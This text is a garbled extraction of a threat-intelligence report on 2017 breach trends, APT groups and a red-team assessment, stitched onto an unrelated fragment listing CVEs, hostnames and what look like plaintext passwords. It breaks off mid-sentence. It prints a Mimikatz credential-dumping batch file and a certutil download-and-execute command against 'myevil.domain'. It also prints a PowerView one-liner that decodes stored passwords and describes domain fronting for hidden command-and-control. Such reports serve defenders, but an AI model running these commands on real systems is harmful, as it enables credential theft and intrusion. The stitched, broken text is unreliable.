+taihaole9366 + CVE +CVE-2017-8759 +CVE-2015-5119 +CVE-2014-8439 +CVE-2015-0313 +CVE-2015-3090 +CVE-2015-3105 +CVE-2015-5119 + String +Haizi +LiuJin +srvrlyscss +Security Response Center +fastcameron13 +powercooper00 +dPfWls&Rkapfns19 ( + 19) +dPQms&Thvldk1987 ( + 1987) +KIM[Administrator] +JAMIE[Jamie Kim] +DONGMIN[MinSk] +T-PC[T] +YONGJA-PC +USER +CRACKER-PC +SEIKO +Security Response Center +# The content of the report or any part of it shall not be cited, reproduced, copied, stored or transmitted to third parties without +a prior written consent of ESTsecurity. +ESTsecurity Response Center +Security Response Center +https://www.estsecurity.com/ +esrc@estsecurity.com +M-TRENDS2018 +SPECIAL REPORT | M-TRENDS 2018 +TABLE OF +CONTENTS +Introduction +2017 By The Numbers +Newly Named APT Groups +Iran State-Sponsored Espionage +Hidden Threats Remain in Legacy Systems +Once a Target, Always a Target +Red Teaming for Security Effectiveness +Cyber Security Skills Gap + The Invisible Risk +Enduring Trends in Security Fundamentals +Predictions for 2018 +Conclusion +SPECIAL REPORT | M-TRENDS 2018 +INTRODUCTION +In this M-Trends 2018 report, we look at some of the latest trends +identified during the October 1, 2016 to September 30, 2017 reporting +period, as revealed through incident response investigations by +Mandiant, a FireEye company. +When it comes to detecting compromises, organizations +appear to be getting better at discovering breaches +internally, as opposed to being notified by law enforcement +or some other outside source. This is important because +our data shows that incidents identified internally tend +to have a much shorter dwell time. However, the global +median dwell time from compromise to discovery is up +from 99 days in 2016 to 101 days in 2017. +In this year +s report, we explore some longer-term trends, +many of which have evolved. We look at organizations that +have been targeted or re-compromised after remediating +a previous attack, a topic we first discussed in M-Trends +2013. We also examine the widening cyber security skills +gap and the rising demand for skilled personnel capable +of meeting the challenges posed by today +s more +sophisticated threat actors. +We take a detailed look at a Mandiant Red Team Assessment +to explore how we leverage sophisticated attacker tactics, +techniques and procedures (TTPs) in simulated attacks to +show organizations what they need to do to stay ahead of +those threats. We also provide examples of where we saw +attackers exploit weaknesses in an organization +s detection +and prevention controls. +M-Trends 2018 can arm security teams with the knowledge +they need to defend against today +s most often used cyber +attacks, as well as lesser seen and emerging threats. +The information in this report has been sanitized to protect +identities of victims and their data. +SPECIAL REPORT | M-TRENDS 2018 +2017 BY THE +NUMBERS +The statistics reported in +M-Trends are based on Mandiant +investigations into targeted +attack activity conducted +between October 1, 2016 and +September 30, 2017. +GLOBAL MEDIAN DWELL TIME +2016 +2017 +Days +Dwell time is the +number of days from +first evidence of +compromise that an +attacker is present on +a victim network +before detection. +A median represents a +value at the midpoint +of a sorted data set. +Mandiant continues to +use the median value +over +mean + or +average +to minimize the impact +of outlying values. +Days +Global +The global median dwell time of 101 days is essentially unchanged +from last year +s report of 99 days. Organizations across the globe are +identifying attacker activity on their own more often than they are being +notified by an external source, with 62% of breaches detected internally. +Mandiant +s position in the market would tend to skew our statistics +toward organizations who were notified of an incident by a third party, +since presumably an organization is less likely to be confident they can +investigate an incident they failed to identify on their own. The fact +that more clients self-identify the incidents we investigate for them is +a potential indication that detection capabilities have improved for all +organizations and not just Mandiant clients. +SPECIAL REPORT | M-TRENDS 2018 +2017 +EMEA MEDIAN DWELL TIME +2016 +Days +Days +AMERICAS MEDIAN DWELL TIME +75.5 +Days +2017 +2017 +2016 +Days +Days +2016 +APAC MEDIAN DWELL TIME +Days +Americas +The Americas median dwell time +decreased slightly from 99 days in +2016 to 75.5 days in 2017. +Europe, the Middle East and Africa +(EMEA) +The median dwell time for EMEA +in 2017 was 175 days, up from 106 +days in 2016. We attribute this to +increased notification programs by +national law enforcement. These +have uncovered attacks dating back +a significant period of time, many of +which involved active attackers in +the target environment at the time +of notification. +Asia-Pacific (APAC) +The median dwell time for APAC +increased in 2017 to 498 days, from +172 days in 2016. This dwell time is +similar to the APAC dwell time of 520 +days reported in M-Trends 2016. It +is also similar to the first dwell time +statistic ever reported by Mandiant, +which was a global dwell time of 417 +days. With a maximum observed +dwell time of 2,085 days, attackers +in APAC are often able to maintain +access in compromised organizations +for far too long. +SPECIAL REPORT | M-TRENDS 2018 +Other +Business and +Professional Services +Industries Investigated +High Tech +Retail and +Hospitality +Energy +Healthcare +Entertainment +and Media +Government +Financial +Organizations Investigated By Mandiant in 2017, By Industry +Industry +Americas +APAC +EMEA +Global +Business and Professional Services +Energy +Entertainment and Media +Financial +Government +Healthcare +High Tech +Retail and Hospitality +Other +SPECIAL REPORT | M-TRENDS 2018 +Median Dwell Time, By Region +1088 +1100 +1000 +Internal Discovery +External Notification +All Notification +Days +320.5 +57.5 +124.5 +42.5 +GLOBAL +75.5 +24.5 +AMERICAS +EMEA +APAC +Median Dwell Time, By Year +Days +2016 +2017 +2011 +2012 +2013 +2014 +Year +2015 +SPECIAL REPORT | M-TRENDS 2018 +GLOBAL +Organizations detected a compromise +themselves in 62% of the cases that +Mandiant worked in 2017. Organizations in +the United States fared the best with 64% of +cases detected by the organization. While +this is trending in the right direction, it still +shows that too many organizations are not +aware that they have been compromised +without external assistance. +Notification By Source +Internal +External +AMERICAS +EMEA +APAC +Notification By Source +Notification By Source +Notification By Source +SPECIAL REPORT | M-TRENDS 2018 +Global Dwell Time Distribution +The global median dwell time is +101 days. However, actual global +dwell times vary significantly, +ranging from less than one week +to over 2,000 days. +7 or fewer +8-14 +15-30 +31-45 +46-60 +DAYS +61-75 +76-90 +Days +91-150 +151-200 +201-300 +301-400 +401-500 +501-600 +601-700 +701-800 +801-900 +1000-2000 +2000+ +Percentage of investigations +SPECIAL REPORT | M-TRENDS 2018 +NEWLY NAMED +APT GROUPS +FireEye tracks thousands of threat actors, but pays +special attention to state-sponsored attackers who +carry out advanced persistent threat (APT) attacks. +Unlike many cyber criminals, APT attackers often +pursue their objectives over months or years. They +adapt to a victim organization +s attempts to remove +them from the network and frequently target the +same victim if their access is lost. +FireEye tracks more than a thousand uncategorized +attackers and only promotes a TEMP group to a named APT +group when we have confidence surrounding their specific: +Sponsoring nation +Tactics, techniques, and procedures (TTPs) +Target profile +Attack motivations +In 2017, FireEye promoted four attackers from previously +tracked TEMP groups to APT groups. +SPECIAL REPORT | M-TRENDS 2018 +APT32 +March 20, 2017 +Since at least 2014, APT32, also known as the OceanLotus +Group, has targeted foreign corporations with investments +in Vietnam, foreign governments, journalists, and +Vietnamese dissidents. Evidence also suggests that APT32 +has targeted network security and technology infrastructure +corporations with connections to foreign investors. +During a recent campaign, APT32 leveraged social +engineering emails with Microsoft ActiveMime file +attachments to deliver malicious macros. Upon execution, +the initialized file typically downloaded malicious +payloads from a remote server. +FireEye asesses that APT32 actors may be aligned with the +national interests of Vietnam. We believe recent activity +targeting private interests in Vietnam suggests that APT32 +poses a threat to companies doing business or preparing +to invest in the country. While the specific motivation for +this activity remains opaque, it could ultimately erode +targeted organizations + competitive advantage. +SPECIAL REPORT | M-TRENDS 2018 +APT33 +August 21, 2017 +Since at least 2013, the Iranian threat group FireEye tracks as +APT33 has carried out a cyber espionage operation to collect +information from defense, aerospace and petrochemical +organizations. Additionally, there is evidence to suggest +APT33 targeted Saudi Arabian and Western organizations +that provide training, maintenance and support for Saudi +Arabia +s military and commercial fleets. +SPECIAL REPORT | M-TRENDS 2018 +APT33 leverages a mix of public and non-public tools +(Fig. 1) and often conducts spear-phishing operations +using a built-in phishing module from +ALFA TEaM Shell, +a publicly available web shell. The use of multiple nonpublic backdoors suggests the group is supported by +software developers. +DROPSHOT is a notable piece of malware used to deliver +variants of the TURNEDUP backdoor. Although we +have only observed APT33 use DROPSHOT to deliver +TURNEDUP, we have identified multiple DROPSHOT +samples in the wild that delivered wiper malware we +call SHAPESHIFT.1 The SHAPESHIFT wiper is capable of +wiping disks and volumes, as well as deleting files. Ties +to SHAPESHIFT suggest that APT33 may engage in +destructive operations or shares tools or development +resources with an Iranian threat group that conducts +destructive operations. +Both DROPSHOT and SHAPESHIFT contain Farsilanguage artifacts, which indicates that they may have +been developed by a Farsi language speaker. FireEye has +not identified APT33 using SHAPESHIFT, but APT33 is +the only group FireEye has seen to use DROPSHOT. The +overlap between SHAPESHIFT and DROPSHOT indicates +that tools + specifically DROPSHOT + or development +resources may be shared among Iranian threat groups, +or that APT33 may engage in destructive operations. +In a recent attack, APT33 sent spear-phishing emails to +workers in the aviation industry. These emails included +recruitment-themed lures and links to malicious HTML +application (HTA) files. The HTA files contained job +descriptions and links to job postings on popular +employment websites. The file would appear to be a +legitimate job posting, but the HTA file also contained +malicious content that downloaded a custom APT33 +backdoor from an attacker-controlled domain. +Figure 1. APT33 TTPs in relation to the attack life cycle. +Maintain Presence +Move Laterally + NANOCORE + NETWIRE + TWINSERVE + TURNEDUP + DROPBACK + VPN Access + PsExec + WMI + VB Scripts +Initial Compromise +Establish Foothold +Escalate Privileges +Internal Reconnaissance +Complete Mission + Spear-phishing + TWINSERVE + TURNEDUP + Mimikatz and ProcDump + GREATFALL + ADExplorer utility + PowerView component +of the PowerSploit +framework + Native OS commands + WinRAR + FastUploader V.1 + Staged data in hidden +$Recycle.Bin directories +1 FireEye has not found any code overlap between SHAPESHIFT and the suspected Iranian wiper SHAMOON. +SPECIAL REPORT | M-TRENDS 2018 +November 14, 2017 +APT34 +SPECIAL REPORT | M-TRENDS 2018 +Since at least 2014, an Iranian threat group tracked by +FireEye as APT34 has conducted reconnaissance aligned +with the strategic interests of Iran. The group conducts +operations primarily in the Middle East, targeting financial, +government, energy, chemical, telecommunications and +other industries. Repeated targeting of Middle Eastern +financial, energy and government organizations leads +FireEye to assess that those sectors are a primary +concern of APT34. The use of infrastructure tied to +Iranian operations, timing and alignment with the national +interests of Iran also lead FireEye to assess that APT34 +acts on behalf of the Iranian government. +APT34 uses a mix of public and non-public tools +(Fig. 2) and often uses compromised accounts to conduct +spear-phishing operations. In July 2017, FireEye observed +APT34 targeting an organization in the Middle East using +the POWRUNER PowerShell-based backdoor and the +downloader BONDUPDATER, which includes a domain +generation algorithm (DGA) for command and control. +POWRUNER was delivered using a malicious RTF file +that exploited CVE-2017-0199. In November 2017, APT34 +leveraged the Microsoft Office vulnerability CVE-201711882 to deploy POWRUNER and BONDUPDATER less +than a week after Microsoft issued a patch. +Figure 2. APT34 TTPs in relation to the attack life cycle. +Maintain Presence + Webshells + RDP + VPN Access + SSH tunnels to CS servers + Created shortcuts in +startup folder + Plink + POWRUNER +Move Laterally + PsExec + WMI + RDP + PowerShell scripts + Wscript + Plink + ELVENDOOR +Initial Compromise +Establish Foothold +Escalate Privileges +Internal Reconnaissance +Complete Mission + Spear-phishing + Leverage social +media to share links +to malicious files + Accessed unauthenticated +MySQL database +administration web +application + Brute force attack +against OWA to access +Exchange Control +Panel + POWBAT + HELMINTH + ISMAGENT + Webshells including +SEASHARPEE + Mimikatz + Key logger + KEYPUNCH + Lazagne + Brute force password +attacks + Modified Outlook Web +App logon pages on +Exchange Servers + SoftPerfect +Network Scanner + PowerShell scripts + Native OS commands + GOLDIRONY + CANDYKING + PowerShell scripts +used for data +exfiltration via DNS + Exfiltration via RDP + Compress data into +RAR files, stage them +to an internet accessible +server, then download +the files + Exported email boxes +(PST files) +SPECIAL REPORT | M-TRENDS 2018 +APT35 +December 15, 2017 +FireEye has identified APT35 operations dating back +to 2014. APT35, also known as the Newscaster Team, +is a threat group sponsored by the Iranian government +that conducts long term, resource-intensive operations +to collect strategic intelligence. APT35 typically targets +U.S. and the Middle Eastern military, diplomatic and +government personnel, organizations in the media, energy +and defense industrial base (DIB), and engineering, +business services and telecommunications sectors. +SPECIAL REPORT | M-TRENDS 2018 +APT35 has historically used unsophisticated tools like +those listed below in Figure 3. Their complex social +engineering campaigns, however, employ fake social +media personas with convincing backgrounds that +include supporting details and links to real persons and +organizations. Many of the fake personas utilized by +APT35 claimed to be part of news organizations, which led +to APT35 being referred to as the Newscaster Team. The +effort required to establish these networks and online front +organizations suggests the group is well resourced. +More recent operations suggest that APT35 has expanded +both the scope of its targeting and its employed toolset. +From August 2016 to August 2017, APT35 engaged in +multiple operations against a broad range of victims, +including those in the following sectors: +Telecommunications +Business services +Energy +Construction and engineering +Government +Defense +Media +Figure 3. APT35 TTPs in relation to the attack life cycle. +Maintain Presence +Move Laterally + FIVERINGS + BROKEYOLK + RARESTEAK + Meterpreter + Batch file that persisted +via a registry-run key + Powershell + TightVNC + VPN + Mimikatz + Procdump + Psexec + RDP + Plink +Initial Compromise +Establish Foothold +Escalate Privileges +Internal Reconnaissance +Complete Mission + Phishing + Valid credentials obtained +from previous compromise + Password Spray + Ekton CMS Vulnerability + Strategic Web +Compromise + Credential Theft + Webshells, including +Tunna and ASPXSHELLSV + DRUBOT + MANGOPUNCH + HOUSEBLEND + PUPYRAT + Steal valid user +credentials, including +soft token + Gain access to domain +controllers, Exchange/ +CAS servers + Alter mailbox access +rights + Powershell + Access mailboxes + SoftPerfect Network +Scanner + SMB Scanning + Office 365 + Delete log files + Delete and overwrite +files + Stage RAR files in +local folders + Download Personal +Storage Table (PST) +Archive + Create email +forwarding rules +SPECIAL REPORT | M-TRENDS 2018 +IRAN +STATE-SPONSORED +ESPIONAGE +SPECIAL REPORT | M-TRENDS 2018 +Throughout 2017, Mandiant observed a significant +increase in the number of cyber attacks originating +from threat actors sponsored by Iran. While they have +captured notoriety over the past year, especially for their +destructive attacks, much of their espionage activity has +gone unnoticed. Their list of victims currently spans nearly +every industry sector and extends well beyond regional +conflicts in the Middle East. +For some time, these threat actors were primarily a +nuisance consisting of a loose collective of patriotic +hackers who conducted web defacements, distributed +denial of service (DDoS) campaigns and occasional +destructive malware attacks. Since 2010, post-Stuxnet, Iran +has increased its cyber espionage capabilities and is now +operating at a pace and scale consistent with other nationstate sponsored APT groups. +Iranian threat actors have compromised a variety of +organizations, but recently they have expanded their +efforts in a way that previously seemed beyond their +grasp. Today they leverage strategic web compromises +(SWC) to ensnare more victims, and to concurrently +maintain persistence across multiple organizations for +months and sometimes years. Rather than relying on +publicly available malware and utilities, they develop and +deploy custom malware. When they are not carrying +out destructive attacks against their targets, they are +conducting espionage and stealing data like professionals. +SPECIAL REPORT | M-TRENDS 2018 +APT35 +CASE STUDY: APT35 +In early 2017, Mandiant responded to an incident involving +APT35 targeting an energy company. The attacker +used a spear-phishing email containing a link to a fake +resume hosted on a legitimate website that had been +compromised. The resume contained the PUPYRAT +backdoor, which communicated with known APT35 +infrastructure. APT35 also installed BROKEYOLK, a custom +backdoor, to maintain persistence on the compromised +host. They then proceeded to log directly into the VPN +using the credentials of the compromised user. +1. Copied a modified variant +of Mimikatz to the remote +system. +2. Executed Microsoft +Sysinternal +s PsExec utility +to deploy and execute +a Windows batch file +containing commands +to execute the Mimikatz +variant on each target +system. +Once connected to the VPN, APT35 focused on stealing +domain credentials from a Microsoft Active Directory +Domain Controller to allow them to authenticate to the +single-factor VPN and Office 365 instance. The attacker did +not deploy additional backdoors to the environment. +During the analysis of a compromised domain controller, +Mandiant identified batch files (Fig. 4) that were used to +steal credentials and hide attacker activity by performing +the following actions: +3. Copied the contents of +the Mimikatz output to a +local file, named after the +remote system. +4. Deleted the modified +variant of Mimikatz from +the remote system. +Figure 4. Contents of recovered batch files. +Contents of +run.bat +copy MsMpEng.exe \\%1\C$\windows\temp\MsMpEng.exe +PsExec.exe \\%1 -s -c m.bat -accepteula +move \\%1\C$\Windows\temp\temp.dat %1.txt +del \\%1\C$\windows\temp\MsMpEng.exe +Contents of +m.bat +C:\windows\MsMpEng.exe privilege::debug sekurlsa::logonPasswords exit > C:\windows\temp\temp.dat +SPECIAL REPORT | M-TRENDS 2018 +While the credential harvesting technique +was unsophisticated, it was effective. +Mandiant +s analysis indicated the attacker +successfully harvested credentials from more +than 500 systems within the environment +using this technique. +While having access to the organization +environment, the attacker targeted data +related to entities in the Middle East. +Mandiant has previously observed targeted +attackers stealing email, but few threat actors +have been as successful at this as APT35. +Additionally, the attacker +s methodology for +accessing and stealing email from a victim +organization adapted to accommodate cloud +migration trends as companies moved to offpremises email solutions such as Office 365. +Forensic analysis revealed the attacker +leveraged Microsoft Exchange Client Access +cmdlets to modify permissions on target +mailboxes. Exchange has several Client +Access cmdlets that are used legitimately by +Exchange administrators for routine tasks +and maintenance. +Mandiant observed that the attacker had +granted compromised accounts read access +to hundreds of mailboxes with the +AddMailboxPermission + cmdlet (Fig. 5). +Following the assignment of mailbox +permissions, the attacker authenticated to +the victim organization +s Outlook Web Access +(OWA) portal to access targeted inboxes. +By assigning these permissions to a single +account, the attacker was able to read, access +and steal hundreds of emails in a single view. +The attacker could also blend into normal +day-to-day activities of users accessing their +email through the OWA portal, and did not +need to install any additional malware into the +environment. Ultimately, APT35 had used +access to hundreds of mailboxes to read email +communications and steal data related to +Middle East organizations, which later became +victims of destructive attacks. +A cmdlet is a +lightweight Windows +PowerShell command. +Figure 5. Example of attacker adding +read + access to target mailbox. +2018-01-01 01:02:34 EXCHANGESERVER 7872 w3wp#MSExchangePowerShellFrontEndAppPool 68 +COMPROMISED_ +ACCOUNT +TRUE ManagementShell Add-MailboxPermission -User -AccessRights +FullAccess +) -InheritanceType +SPECIAL REPORT | M-TRENDS 2018 +HIDDEN THREATS +REMAIN IN LEGACY +SYSTEMS +A case study from Asia Pacific +Organizations continue to struggle with tracking and +maintaining their internet footprint. This case study +from Asia Pacific illustrates the continuation of a +well-established trend of exposure and compromise +of poorly protected and overlooked legacy systems. +SPECIAL REPORT | M-TRENDS 2018 +A large company in Asia was recently the latest +in a long line of organizations to be compromised +because Remote Desktop Protocol (RDP) is +accessible from the Internet. +The breach was identified through the discovery of +an unauthorized database administrator account +on a billing database server. The company +s internal +investigation uncovered unauthorized RDP logons +by a local administrator account to a legacy +web server. The attacker then connected to and +tunneled connections through an intermediary +system in the client environment. From the +intermediary system, the attacker was able to +access a database server using a separate database +administrator account. The client quickly identified +and decommissioned the web server and other +legacy systems and changed the password of +accounts used by the attacker. +At some point during the compromise the client +antivirus software began detecting some of the +attacker +s password dumping tools, so the attacker +added the +C:\temp\ + directory, which was being +used as a tool repository, to the list of directories to +not be scanned by antivirus software. Configuring the +antivirus software to ignore the directory +C:\temp +created a registry artifact (Fig. 6) that helped identify +additional systems compromised by the attacker. +This case illustrates the risk posed by having the +RDP accessible from the Internet. Access to RDP is a +common vector used by attackers to gain access to +environments either directly from the Internet or by +leveraging access they gain through a third-party. +Initial compromise: Mandiant identified evidence of +malicious activity dating back several years, and that +the environment had been accessed by more than +one attacker. Mandiant was unable to identify how the +environment was first compromised due to evidence +decay. +Establish foothold: The attacker moved laterally within +the environment and installed a variety of backdoors, +keyloggers and network traffic tunnelers, ranging from +publicly available malware such as Gh0stRAT, Empire, +and the China Chopper web shell, to some highly +powerful and non-public malware. +Escalate privileges: The attacker leveraged credentials +obtained from domain controllers and keyloggers +installed on the systems of high-value individuals to +provide access to the environment. +Internal reconnaissance: The attacker conducted +internal reconnaissance using built-in tools and tools +that the attacker placed in the environment. Examples +of the methods used for internal reconnaissance +included: + PowerShell + Windows Task Scheduler + NBTScan + TCPScan + Non-public keyloggers + Non-public screen recorders +Complete mission: The attacker targeted billing and +customer information. Mandiant identified evidence +suggesting gigabytes of sensitive customer information +had been exfiltrated from the network. +Figure 6: Example of the registry artifact that was created by the attacker adding an exclusion for the directory +C:\temp +Redacted Eventlog Messages of Whitelisting a Folder +HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Popular AV Program\AV\Exclusions\HeuristicScanning\Directory\Client\3212312312\ +DirectoryName | C:\temp\ +SPECIAL REPORT | M-TRENDS 2018 +ONCE A TARGET, +Always a Target +A significant attack is +attacker activity that +may include data theft, +compromised accounts, +credential harvesting, +lateral movement and +spear phishing, which +affects at least 43% of +our managed detection +and response customers. +In 2013 M-Trends, we looked at organizations that had been targeted or recompromised after remediating a previous attack. Our original data showed +38 percent of clients were attacked after remediation. Our 2017 data shows +that, 56 percent of FireEye managed detection and response customers who +were previously Mandiant incident response clients were targets of at least +one significant attack in the past 19 months by the same or similarly motivated +attack group. +We also found that: +of customers with at least +one significant attack were +successfully attacked again +within one year. +of the time, customers +who have had more than +one significant attack have +also had more than one +unique attacker in their +environment. +Regional Considerations +We find that customers in the APAC region are twice as likely to have experienced multiple incidents from multiple +attackers, compared to customers in EMEA or North America. Over 91 percent of our APAC customers with at least one +significant attack will have attacker activity within the next year (Fig. 7). Of those customers, 82 percent will have multiple +attackers identified over the life of their service (Fig. 8). +Figure 7. Customers with one significant attack that experienced +another attack of consequence, by region. +Figure 8. Customers with significant attack from multiple groups, +by region. +AMERICAS +EMEA +APAC +AMERICAS +EMEA +APAC +SPECIAL REPORT | M-TRENDS 2018 +There is a difference between +industries that have been successfully +attacked by multiple threat groups +versus industries that are targeted +most often. Notably, the high-tech +industry is both frequently targeted +by multiple attackers and also sees +a large number of significant attack +attempts (Fig. 11). +This trend highlights the industries +that most often have to deal with +multiple types of threat actors, each +with potentially different missions and +TTPs to defend against. + Several industries appear more +adaptive and more rigorous in +their security posture over time. +As an example, when we examine +the industries that suffer multiple +successful attacks, separated by +remediation attempts, we observed +that the financial industry was +ninth out of 16 industries. Our +experiences suggest the financial +services are less likely to succumb +to subsequent attacks over time. +Non-Profit +Government +Business and Professional Services +Transportation and Logistics +Other +Financial +Industry type +The top three industries with the +most significant attacks are financial, +high-tech and healthcare (Fig. 10). +Figure 9. Customers targeted by multiple threat groups, by industry. +Retail and Hospitality +Media and Entertainment +Healthcare +Construction and Engineering +Education +Telecommunications +High Tech +Number of different threat groups +Figure 10. Customers industries by number of significant attacks. +Non-Profit +Other +Media and Entertainment +Business and Professional Services +Biotechnology and Pharmaceuticals +Government +Energy +Transportation and Logistics +Construction and Engineering +Manufacturing +Education +Telecommunications +Retail and Hospitality +Healthcare +High Tech +Financial +Number of different threat groups +Figure 11. Customers with significant attacks from multiple attackers, by industry. +Non-Profit +Government + Industries that have historically been +Business and Professional Services +targeted by Chinese based groups +move to the top of the +attacked by +multiple groups + list. +Other +Energy +Transportation and Logistics +Industry type +Unfortunately, if you +ve been +breached, our statistics show that you +are much more likely to be attacked +and suffer another breach. If you +have not taken steps to enhance your +security posture, you are taking a +significant risk. +Energy +Biotechnology and Pharmaceuticals +Manufacturing +Industry type +Industry Trends +The top three industries most +frequently targeted by multiple +attackers are high-tech, +telecommunications and +education (Fig. 9). +Media and Entertainment +Financial +Biotechnology and Pharmaceuticals +Retail and Hospitality +Manufacturing +Construction and Engineering +Healthcare +Education +Telecommunications +High Tech +Number of different threat groups +SPECIAL REPORT | M-TRENDS 2018 +RED TEAMING +for Security Effectiveness +Mandiant recently conducted a Red Team Assessment for an +organization hosting large amounts of personally identifiable +information (PII). The goal of the assessment was to validate the +organization +s ability to protect their PII. The red team was provided +with the organization +s name and no additional architectural +information, making it a black-box assessment. +SPECIAL REPORT | M-TRENDS 2018 +The red team used open source intelligence (OSINT) to +identify the external IP addresses, email addresses and +phone numbers that constituted the attack surface of the +organization. After creating a list of target email addresses, +the red team launched a phishing campaign using emails +with a hyperlink crafted to direct the user to an HTML +Application (HTA) payload. The payload launched the +Windows-native Certutil command, calling back to a +command and control (CnC) server. Three systems were +compromised in the initial phishing campaign of 30 users. +One hour after the phishing campaign started, one of +the targeted users reported the phishing email to the +organization +s abuse mailbox. The security operations +center (SOC) responded to the report and blacklisted the +fully qualified domain name (FQDN) of the web server +hosting the HTA payload, but infected workstations +continued to connect to the red team +s CnC server. The +FQDN of the CnC server was not identified and blocked by +the SOC because the HTA payload was designed to bypass +manual and automated analysis by using a combination of +obfuscation and sandbox evasion techniques. +HTA payloads allow the red team to create convincing +scenarios while delivering a flexible payload through the +power of Microsoft +s VBScript and JScript languages. HTAs +also allow red teams to bypass application whitelisting +controls because the native Windows application +associated with the + file extension, mshta.exe, is a +Microsoft-signed executable, a file type typically permitted +to execute by application whitelists. +An unobfuscated HTA payload might run a command line +command by invoking the + method of VBScript +WScript.Shell class (Fig. 12). +Figure 12. An HTA file that executes a PowerShell payload. + + + +Sample + + + + +SPECIAL REPORT | M-TRENDS 2018 +To avoid sandbox detection mechanisms often deployed in mature environments, sandbox evasion techniques can be +built into the payload with the obfuscation. A red team could use any number of sandbox evasion techniques including +forcing the malware to wait or +sleep + a specified period of time before executing (Fig. 15), checking for mouse movement +or clicks, or checking that a minimum number of processes are present for the payload to be executed. Combined with +Demiguise, the final payload file has little to detect (Fig. 16). +Figure 15. A delayed payload execution command. +root@testbox: +/git/demiguise#./demiguise.py -k 1.2.3.4 -c +timeout 12 && +certutil -urlcache -split -f https//myevil.domain/payload payload.exe && +payload.exe + -o payload.hta -p Outloock.Application +[*] Generating with key 1.2.3.4 +[*] Will execute: timeout 12 && certutil -urlcache -split -f https//myev +il.domain/payload payload.exe +[+] HTA file written to: payload.html +root@testbox: +/git/demiguise# +Figure 16. The final Demiguise payload. + + + + + +SPECIAL REPORT | M-TRENDS 2018 +The SOC was unable to identify the CnC server using +network traffic analysis due to the use of a covert CnC +communication known as domain fronting. This attack +technique has been leveraged by Russian nation-state +actors such as APT29. Originally developed as a technique +to avoid censorship-based blocking of Internet traffic, +domain fronting allows an attacker to abuse HTTPS +connections to hide CnC activity in network traffic so +that it is indistinguishable from legitimate requests for +popular websites. The true destination of the CnC activity +is obscured through the content delivery networks (CDNs). +This technique leverages the HTTP +Host + header used in +many shared hosting environments to specify the target +for a specified request. This allowed Mandiant +s red team +to hide its CnC traffic in what appeared to be legitimate +requests for sites hosted in the CDN. The red team used a +configuration (Fig. 17) derived by following these steps: +3. Set the +Host + header on subsequent HTTPS CnC +requests to point to the CDN instance. This will cause +the CDN to direct all requests to the actual domain +rather than the impersonated domain used for the initial +SSL/TLS connection. +Domain fronting gives an attacker several advantages: + Renders detection of CnC traffic using known IP +addresses or domain names ineffective. + Makes anomaly detection ineffective because the traffic +is indistinguishable from other traffic destined for large +CDNs. + Makes detection based on known bad or anomalous +SSL/TLS certificates ineffective because the domain +name and SSL/TLS certificate belong to a legitimate site +in the CDN. +1. Create a CDN instance in the same shared hosting +environment and configure this instance to forward +traffic to the red team +s malicious CnC server. + Creates challenges to remediation since blocking CnC +2. During CnC communications, establish an SSL/TLS +connection to a well-known site that uses the same CDN. +There are publicly available lists of domains that can be +used as an impersonated domain for most major CDNs. + Prevents SSL/TLS decryption techniques from being +traffic could result in legitimate domain names or IP +addresses being blocked. +used by taking advantage of certificate pinning for SSL/ +TLS certificates. +Figure 17. Preferred CnC setup. +www.badperson.com +DNS request for +www.innocus.fronted.domain.com +CDN frontal server, +which acts as a +proxy/gateway +TLS initiated with SNI set to +www.innocus.fronted.domain.com +HTTP Header with host of +www.badperson.com +Victim +Fronted Domain +www.innocus.fronted. +domain.com +SPECIAL REPORT | M-TRENDS 2018 +The red team persisted on the initial three compromised systems using a Windows Management Instrumentation (WMI) +event subscriber. The event subscription consisted of an event filter that acted as a trigger and an event consumer that +executed the payload, in this case Symantec +s signed +symerr.exe +. The +symerr.exe + executable loads a DLL named +cclib.dll +from its current working directory, so Mandiant leveraged this functionality to load a malicious DLL (Fig. 18 and 19). +Figure 18. Persistence using symerr.exe. +C:\Program Files\Norton Internet Security\Engine\22.9.0.68\symerr.exe cclib.dll +Figure 19. Properties of symerr.exe. +Once a persistence mechanism was deployed to a +few systems, the red team moved quickly to escalate +privileges and move laterally before the initial systems +and communications to the compromised network were +lost. The red team looked for opportunities to escalate +privileges in the domain using various techniques. +One avenue that proved useful in this assessment was +a misconfigured +userPassword + attribute in Active +Directory. +Depending on the Active Directory configuration, this +attribute can be treated as either of the following: + An ordinary Unicode attribute, which can be written and +read as any other Unicode attribute in directory. + A shortcut to userPassword in directory, which will allow +password change operation to be performed over LDAP. +SPECIAL REPORT | M-TRENDS 2018 +PowerView3 has a +Get-NetUser + function that assists with automating the process of looking up this attribute in Active +Directory. The red team used the command (Fig. 20) to harvest credentials for several service accounts on the Active +Directory domain. Plaintext passwords are stored in the +userPassword + attribute in Unicode format (Fig. 21). +Figure 20. PowerView function to grab userPassword field and decode it. +get-netuser -Domain -Filter userpassword=* | select -expandproperty +userpassword | %{[char][int]$_} | write-host -nonewline}; write-host +Figure 21. Example userPassword attribute with stored Unicode password. +[...] +samaccountname +usncreated +displayname +description +DO NOT DISABLE - PeopleSoft FIN account +for Ker +beros auth. Please contact +FT HR IT +userpassword +{112, 115, 57, 49...} +pwdlastset +11/18/2014 12:37:22 PM +objectclass +{top, person, organizationalPerson, +user} +useraccountcontrol +66048 +lastknownparent +OU=Server Accounts +Disabled, DC=prod, DS=ad, DS=me +,DC= +,DC=com +[...] +3 Available at https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. +SPECIAL REPORT | M-TRENDS 2018 +With domain credentials, the red team was able to move +laterally to additional systems in the environment. At this +stage, the red team encountered a significant number of +servers using Device Guard with constrained language +mode enabled and application whitelisting. There are +several ways to bypass Device Guard and application +whitelisting, one of which is the built-in Microsoft signed +executable +MSBuild.exe +. Using signed executables +allowed Mandiant to bypass application whitelisting by +executing payloads in the context of a Microsoft signed +process. Using the open source script PowerLessShell,4 +Mandiant +s red team executed PowerShell scripts and +payloads without launching +PowerShell.exe + directly. With +this tool, Mandiant generated a +csproj + file containing the +payload and copied it to a new system. Mandiant could +then use WMI commands to remotely execute MSBuild, +which, in turn, executed the malicious +csproj + payload. +Mandiant used credentials from the +userPassword + field to +access systems containing domain administrator sessions +and used Mimikatz to read LSASS memory and obtain +clear text credentials for a domain administrator account. +A jump server is a special-purpose +computer that is hardened against attack +and provides remote access to systems in +a different network security zone. +4 Available at https://github.com/Mr-Un1k0d3r/PowerLessShell. +5 Available at https://github.com/cernekee/stoken. +Completing the Mission +At this this point the red team had domain administrator +privileges, but the target database server storing PII +was protected by jump servers that required two-factor +authentication (2FA). +The easiest way to bypass 2FA is not to 